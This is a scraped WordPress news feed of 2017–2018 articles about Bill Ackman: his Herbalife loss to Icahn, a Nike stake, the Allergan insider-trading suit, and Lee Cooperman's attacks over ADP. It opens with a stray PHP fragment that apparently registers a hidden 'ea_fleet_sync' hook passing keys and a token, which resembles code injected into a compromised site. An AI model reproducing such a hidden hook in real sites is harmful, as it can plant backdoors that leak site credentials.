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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Ackman – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Mon, 09 Apr 2018 00:47:29 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Ackman – Brief News https://briefnews.eu 32 32 Meet the ‘rockstar’ MIT professor who’s been linked to Brad Pitt and billionaire hedge fund manager Bill Ackman https://briefnews.eu/meet-the-rockstar-mit-professor-whos-been-linked-to-brad-pitt-and-billionaire-hedge-fund-manager-bill-ackman/ https://briefnews.eu/meet-the-rockstar-mit-professor-whos-been-linked-to-brad-pitt-and-billionaire-hedge-fund-manager-bill-ackman/#respond Mon, 09 Apr 2018 00:47:29 +0000 http://briefnews.eu/meet-the-rockstar-mit-professor-whos-been-linked-to-brad-pitt-and-billionaire-hedge-fund-manager-bill-ackman/ neri oxman gesturingRiccardo Savi/Getty

  • Brad Pitt is reportedly spending time with MIT Media Lab professor Neri Oxman — though the relationship isn’t romantic.
  • Oxman is reportedly dating billionaire hedge fund manager Bill Ackman.
  • Oxman was born in Israel, coined the term and pioneered the field of “material ecology,” and has her work featured in museums across the globe.

Universal heartthrob Brad Pitt has a new friend — and it’s someone who works thousands of miles from Hollywood.

Neri Oxman is a professor at the Massachusetts Institute of Technology and a pioneer in her field (“material ecology” — heard of it?).

Page Six, which called Oxman a “rockstar MIT professor,” reported that nothing romantic has developed between the two, though a source also told Page Six that Oxman is dating billionaire hedge fund manager Bill Ackman. Ackman’s team declined to comment to Page Six.

Below, some of the highlights of Oxman’s life and impressive career.

This is Neri Oxman. She is an associate professor of media arts and sciences at the MIT Media Lab.

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Source: MIT Media Lab

Page Six reported that Oxman and actor Brad Pitt have been spending time together, after meeting through an architecture project at MIT. A source told Page Six, “Brad and Neri instantly hit it off because they share the same passion for architecture, design and art. This is best described as a professional friendship.”

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Source: New York Post

According to Page Six, Oxman has been dating billionaire Bill Ackman for seven months, although Ackman’s team declined a request for comment. Ackman is the founder of hedge fund Pershing Square Capital, and was once called the next Warren Buffett.

Reuters / Richard Brian

Source: New York Post, Business Insider


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]]> https://briefnews.eu/meet-the-rockstar-mit-professor-whos-been-linked-to-brad-pitt-and-billionaire-hedge-fund-manager-bill-ackman/feed/ 0 Carl Icahn just dunked on Bill Ackman to end one of the most high-profile hedge fund spats in recent memory https://briefnews.eu/carl-icahn-just-dunked-on-bill-ackman-to-end-one-of-the-most-high-profile-hedge-fund-spats-in-recent-memory/ https://briefnews.eu/carl-icahn-just-dunked-on-bill-ackman-to-end-one-of-the-most-high-profile-hedge-fund-spats-in-recent-memory/#respond Fri, 02 Mar 2018 05:36:13 +0000 http://briefnews.eu/carl-icahn-just-dunked-on-bill-ackman-to-end-one-of-the-most-high-profile-hedge-fund-spats-in-recent-memory/ carl icahnBrendan McDermid/Reuters

  • Pershing Square exited from its $ 1 billion short position on Herbalife.  
  • The firm’s Bill Ackman got into a public spat with famed investor Carl Icahn, who’s bullish on the stock.
  • Icahn is now gloating for being right. 

Billionaire investor Carl Icahn is reveling in his victory over Pershing Square’s Bill Ackman. 

Five years ago, the two investors publicly butted heads over the future of supplement maker Herbalife. Icahn was long on Herbalife, whereas Ackman was short, predicting the stock would hit zero. But it didn’t. In fact, the stock is up more than 120% over the last five years. 

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  • Shares of Nike popped as much as 2% in pre-market trading Friday after Pershing Square Capital, the $ 12+ billion dollar hedge fund run by activist Bill Ackman, reportedly told investors it had acquired a passive stake in the company.
  • The size of the investment is unclear, as is timing, but Ackman reportedly said at the firm’s annual client dinner that it had already earned a 30% return for his portfolio.
  • The activist investor is known for increasing the share price of companies after announcing he’s acquired a stake. That’s true of Nike this time around, even though the stake is passive.
  • Pershing Square on Monday fired 10 employees — or 20% of its total headcount — as the hedge fund seeks to rebound from three years of losses related to failed bets on companies like Valeant Pharmaceuticals, Chipotle, and Herbalife.
  • Nike stock is up 1.23% in early trading Friday, and has gained 27% in the past year. 

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]]> https://briefnews.eu/nike-pops-after-billionaire-activist-bill-ackman-reportedly-buys-a-passive-stake-nke/feed/ 0 The Bill Ackman problem everyone forgot is now at threat-level substantial https://briefnews.eu/the-bill-ackman-problem-everyone-forgot-is-now-at-threat-level-substantial/ https://briefnews.eu/the-bill-ackman-problem-everyone-forgot-is-now-at-threat-level-substantial/#respond Fri, 08 Dec 2017 22:13:10 +0000 http://briefnews.eu/the-bill-ackman-problem-everyone-forgot-is-now-at-threat-level-substantial/ bill ackmanReuters

  • The insider trading case against Pershing Square founder Bill Ackman and Valeant Pharmaceuticals may go to trial.
  • Investors in Allergan Pharmaceuticals are suing Ackman and Valeant over their hostile takeover of the company in 2014.

There may be a Bill Ackman insider-trading trial on the way.

You may recall that investors in Allergan Pharmaceuticals are suing the billionaire hedge fund manager and Valeant Pharmaceuticals over their 2014 attempt to buy Allergan in a hostile takeover. These investors claim that they were kept in the dark as Ackman built his position in Allergan, and then collaborated with Valeant on an attempted hostile takeover of the company.

Ackman and Valeant wanted the case thrown out, but a California judge just denied the request, at least tentatively. That means, unless the judge changes his mind or the parties can come to a settlement outside of court, this matter will go to trial.

Pershing Square is not commenting on the matter.

It was a weird trade

Shareholders in Allergan, including the State Teachers Retirement System of Ohio, sued Ackman and Valeant on the basis of SEC Rule 14 e-3. Basically, it says if company A is planning to take over company B, anyone with knowledge of that takeover can’t trade company B shares once things are in motion.

And here’s the trade they’re applying it too — which was admittedly, even to observers at the time, pretty strange:

During the 2014 hostile takeover attempt, instead of buying Allergan outright, Valeant teamed up with Ackman, who purchased a large chunk of Allergan shares.

Ackman’s stake was disclosed alongside Valeant’s hostile takeover offer, and — surprise! — the billionaire said he would vote his newly acquired Allergan shares in support of the sale to Valeant.

Ackman then pulled out the activist-investor playbook to pressure Allergan to accept an offer from Valeant. He wrote nasty letters describing Allergan’s “incredibly inappropriate” behavior as it sought to fend off the takeover by a company that was known for slashing research-and-development spending and jacking up drug prices.

That didn’t work.

Allergan was eventually rescued by a white knight and Ackman — still an Allergan shareholder — made a bundle (about $ 2.6 billion by one count). Valeant profited a great deal too, because as part of its deal with Ackman meant it got a portion of his profits.

The rest is investment history. Ackman, who hadn’t invested in Valeant during the Allergan attempt, became one of its biggest shareholders. So Pershing Square was one of the worst hit when high-flying Valeant collapsed 90% from 2015 to 2016 after fraud was discovered at the company.

Ackman has since left Valeant. Valeant itself has stabilized. But this case remains the way Ackman and Valeant could still see all their gains washed away

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]]> https://briefnews.eu/the-bill-ackman-problem-everyone-forgot-is-now-at-threat-level-substantial/feed/ 0 BILLIONAIRE BARRAGE: Lee Cooperman is stepping up his attack against Bill Ackman (ADP) https://briefnews.eu/billionaire-barrage-lee-cooperman-is-stepping-up-his-attack-against-bill-ackman-adp/ https://briefnews.eu/billionaire-barrage-lee-cooperman-is-stepping-up-his-attack-against-bill-ackman-adp/#respond Sat, 19 Aug 2017 11:25:02 +0000 http://briefnews.eu/billionaire-barrage-lee-cooperman-is-stepping-up-his-attack-against-bill-ackman-adp/ FILE PHOTO - Leon G. Cooperman, CEO of Omega Advisors, Inc., speaks on a panel at the annual Skybridge Alternatives Conference (SALT) in Las Vegas, Nevada, U.S. on May 7, 2015. REUTERS/Rick Wilking/File Photo Lee Cooperman, a billionaire hedge fund manager, doesn’t like the way another billionaire hedge fund manager, Bill Ackman, is approaching his latest big investment.
Ackman runs Pershing Square, an activist fund which takes positions in companies and tries to change them. 
Pershing Square is trying to shake up ADP, the human resources and payroll company.
Cooperman has layered on criticism, saying Ackman’s approach is “destructive” and that he’s full of “chutzpah.”

Billionaire investor Lee Cooperman is stepping up his attack against fellow billionaire Bill Ackman.

In a phone call with Business Insider on Thursday, August 17, Cooperman laid out an argument against Ackman’s attempt to change ADP, charging against what he perceived as Ackman’s misguided attempt to shake up the human resources company.

“He’s conducting himself in a very destructive manner,” said Cooperman, the founder of Omega Advisors, a multi-billion New York-based hedge fund.

The human resources and payroll company ADP is under attack from Ackman’s Pershing Square, an activist hedge fund that wants to add new directors to its board and potentially swap out its CEO. Earlier this month, Pershing Square disclosed an 8% stake in ADP, sparking a testy back-and-forth between the fund and the company which handles Americans’ paychecks.

In an interview with CNBC last week, ADP CEO Carlos Rodriguez compared Ackman’s request to extend the deadline for nominating board members to “a spoiled brat in school asking the teacher for an extension for their homework.” Pershing Square has said that Rodriguez “unfairly characterized” their interactions to make the fund’s efforts “appear unreasonable.” 

On Thursday, Ackman said in a conference call that ADP had underperformed its competitors and that the stock could double in five years. 

For his part, it’s not the first time Cooperman has come out against Pershing Square – he did so in an interview with CNBC earlier this month, too. But the matter is clearly still top of mind.

“I’m not in the business of criticizing people, but I think this is disgraceful,” he told Business Insider Thursday, his voice rising.

“I’m not in the business of criticizing people, but I think this is disgraceful.

“I think his conduct is irresponsible. There’s a way of dealing with it; he could have quietly presented his findings to the company, allow them to digest it. The company has been run as an open book.”

Ackman casts a “negative aspersion” on the hedge fund industry, Cooperman added.

Ackman contacted ADP’s Rodriguez on August 1 about the fund’s position, according to a Pershing Square filing earlier this week. ADP later announced Pershing Square’s position in an August 4 press release. 

A representative for Ackman declined to comment.

Fast-talking Cooperman listed off a litany of issues he saw with Pershing Square’s attempt to shift ADP, often repeating personal attacks on Ackman.

“He’s a hot dog trying to create maximum publicity without regard for the implications to management and the costs involved with this proxy fight,” Cooperman said.

“He’s a hot dog trying to create maximum publicity.

Cooperman, who previously served on ADP’s board, said he had given his shares to charity. He commended ADP for its value proposition and for its management.

ADP, he said, was worth about $ 10 million in the early 1960s and had steadily added value, worth about $ 60 billion today. “There are very few companies that can sustain that,” he said.

“I don’t have a strong opinion on the merits of his view,” Cooperman said of Ackman’s investment thesis. “I have a strong opinion on his comportment and civility.” 

“He makes a big deal that he spoke with 85 former executives,” Cooperman said. “I know for a fact the last three CEOs have not spoken with him.”

Earlier on Thursday, Pershing Square presented its thesis on ADP. When asked what he thought about it, Cooperman said: “You don’t follow what the f— I’m saying,” his voice rising. “I’m talking about the merits of his conduct.” 

Cooperman said he didn’t listen to Pershing Square’s presentation this morning, as he was traveling on a plane.

Cooperman also brought up that Ackman had asked for an extension of the deadline to nominate board directors, which led to a contentious back and forth between ADP and Pershing Square.

bill ackmanReuters / Richard Brian“He shows up and says he’s studied the company for six months. Why does he wait for the last minute for an audience with the board?” Cooperman said, adding, “The company is right. Who does he think he is? Given the company’s performance, if he was constructive, he should have waited a year … the company runs an open door policy … they’d have been happy to hear what he had to say … He has chutzpah to ask them to extend the window.”

Cooperman contacted Business Insider in response to a report earlier Thursday about an ADP board director whose position at Columbia Business School, which receives money from Pershing Square, poses a potential conflict. Cooperman took issue with the relationship being described as a conflict, calling it “bulls–t.” When Business Insider responded that three academics in the story had described the relationship as such, he said, “you shouldn’t feed that bulls–t.”

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